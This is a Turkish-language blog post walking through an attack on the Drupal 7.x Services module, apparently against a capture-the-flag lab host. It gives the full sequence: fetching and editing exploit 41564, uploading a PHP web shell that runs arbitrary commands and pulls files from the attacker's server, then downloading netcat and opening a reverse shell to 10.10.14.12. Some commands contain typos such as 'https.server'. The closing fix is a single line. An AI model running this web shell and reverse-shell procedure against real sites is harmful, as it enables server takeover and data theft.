Post

Drupal 7.x Module Services Remote Shell Upload

Drupal 7.x Module Services Remote Shell Upload

Exploiting – Zaafiyeti test edelim.

İlk olarak Drupal sürümünü belirleyelim. Bunun için tarayıcıdan CHANGELOG.txt dosyasına erişebiliriz, bu hazır bir Drupal şablonudur.

Not: Drupal 7.54 sürümü olduğunu bize söylüyor.

2. Bir sürümle ilişkili Zaafiyetler'i bulmak için searchsploit‘i kullanabiliriz.

searchsploit drupal 7

3. Şimdi bu betiği /home/vry4n/Desktop dizinimize indirelim.

searchsploit -m php/webapps/41564.php

4. Önce kodu değiştireceğiz, değiştirmemiz gereken kısmı vurguladım.

vi 41564.php

5. Önce tarayıcımzı açarak $endpoint_path’in var olduğunu görelim.

https://10.10.10.9/rest_endpoint
404 Bulunamadı
https://10.10.10.9/rest
20OK (found)

6. Bulduk.. Simdi Aşağıdaki gibi düzenleyelim.

$url = ‘https://10.10.10.9’;

$endpoint_path = ‘/rest’;

$endpoint = ‘rest_endpoint’;

$file = [

    ‘filename’ => ‘test.php’,

    ‘data’ => ‘<?php echo “Vry4n was here!!”; ?>’

];

7. php-curl kurmamız gerekebilir.

sudo apt-get install php-curl

php-curl yüklemeden önce aldığımız HATA

Komut dosyasını yürütelim.

php 41564.php

9. Kod başarıyla yürütüldü ve bize https://10.10.10.9/test.php adresini ziyaret etmemizi söylüyor.

https://10.10.10.9/test.php

10. Dosyayı oluşturduk ve uzak Drupal sunucusunda çalıştırdık.

11. Şimdi yeni dosyalar yükleyebilen ve komutları çalıştırabilen bir dosya oluşturacağız. test.php betiğimize aşağıdaki kodu ekleyeceğiz.

$phpCode = <<<‘EOD’

<?php

    if (isset($_REQUEST[‘fupload’])) {

        file_put_contents($_REQUEST[‘fupload’], file_get_contents(“https://10.10.14.12:8888/” . $_REQUEST[‘fupload’]));

    };

    if (isset($_REQUEST[‘fexec’])) {

        echo “<pre>” . shell_exec($_REQUEST[‘fexec’]) . “</pre>”;

    };

?>

EOD;

$file = [

‘filename’ => ‘vry4n.php’,

‘data’ => $phpCode

];
vi 41564.php

12. Şimdi yeni dosyayı yüklemek için betiği tekrar çalıştıralım.

php 41564.php

13. Bu noktada vry4n.php dosyası yüklendi, 2 değişken kullanabiliriz fupload & fexec . Temel komutları test etmek için ilk fexec’i kullanacağız.

https://10.10.10.9/vry4n.php?fexec=dir

14. Artık komutları çalıştırabileceğimize göre, fupload işlevselliğini test edebiliriz . Bir resim yükleyeceğiz. Öncelikle bir web sunucusu başlatmamız ve script'te yazdığımız ayarların aynısını kullanmamız gerekiyor.

python3.9 -m https.server 8888

15. Şimdi tarayıcıya gitmemiz gerekiyor, fupload değişkenini kullanacağız.

https://10.10.10.9/vry4n.php?fupload=vk9sec.jpg

https:// 10.10.10.9/vk9sec.jpg

16. Artık herhangi bir talimat yürütmeden önce sistem hakkında bilgi toplayabiliriz.

https://10.10.10.9/vry4n.php?fexec=systeminfo

Not: Görüldüğü üzere Yamasız bir x64 bit sistemimiz var, Microsoft Windows Server 2008 R2 Datacenter

17. Şimdi https://eternallybored.org/misc/netcat/ adresinden Windows için bir x64 netcat indireceğiz.

#netcat-win32-1.11.zip dosyasını açın.

cd netcat-1.11 && ls

python3.9 -m https.sunucu 8888

18. Şimdi local bir dinleyici başlatalım.

nc -lvp 7777

19. Tarayıcıdan , yürütmek için netcat & fexec yüklemek için fupload değişkenini kullanalım.

https://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777

20. nc64.exe dosyasını indirmek için web sunucumuza 200 OK diyoruz.

21. Dinleyiciyi kontrol ederken, şimdi yürütmeden sonra bir shell görmeliyiz.

Çözüm nedir – Quick solution

Acilen Drupal sürümünü yükseltin. – Upgrade Drupal urgently

ilgili link: https://www.exploit-db.com/exploits/41564

Saygılarımla. – Best regards.

This post is licensed under CC BY 4.0 by the author.